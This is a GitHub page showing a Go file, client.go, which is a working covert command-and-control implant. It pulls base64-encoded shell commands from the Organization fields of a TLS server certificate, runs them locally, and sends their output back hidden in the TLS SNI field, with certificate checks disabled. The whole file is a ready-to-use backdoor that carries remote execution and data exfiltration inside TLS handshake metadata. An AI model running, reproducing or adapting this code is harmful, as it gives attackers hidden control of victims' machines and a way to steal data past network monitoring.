-
Notifications
You must be signed in to change notification settings - Fork 1
/
client.go
83 lines (77 loc) · 1.59 KB
/
client.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
package main
import (
"crypto/tls"
"encoding/base64"
"flag"
"log"
"net"
"os/exec"
"strings"
)
func executeCommand(cmd string) string {
var (
cmdArgs []string
command exec.Cmd
)
args := strings.Split(cmd, " ")
if len(args) > 0 {
cmdArgs = args
}
command.Path = args[0]
command.Args = cmdArgs
out, err := command.Output()
if err != nil {
log.Fatal(err)
}
res := base64.StdEncoding.EncodeToString(out)
return res
}
func sendResult(connectString, result string) {
var (
conn net.Conn
err error
)
config := &tls.Config{
InsecureSkipVerify: true,
ServerName: result,
}
if conn, err = tls.Dial("tcp", connectString, config); err != nil {
log.Fatalf("Could not connect: %s", err)
}
conn.Close()
}
func getCommands(connectString string) []string {
var (
conn *tls.Conn
err error
command []byte
commands []string
)
config := &tls.Config{
InsecureSkipVerify: true,
}
if conn, err = tls.Dial("tcp", connectString, config); err != nil {
log.Fatalf("Could not connect: %s", err)
}
defer conn.Close()
connectionState := conn.ConnectionState()
for _, peerCert := range connectionState.PeerCertificates {
for _, val := range peerCert.Subject.Organization {
command, err = base64.StdEncoding.DecodeString(val)
if err != nil {
continue
}
commands = append(commands, string(command[:]))
}
}
return commands
}
func main() {
cString := flag.String("host", "127.0.0.1:4444", "Connection string")
flag.Parse()
commands := getCommands(*cString)
for _, c := range commands {
res := executeCommand(c)
sendResult(*cString, res)
}
}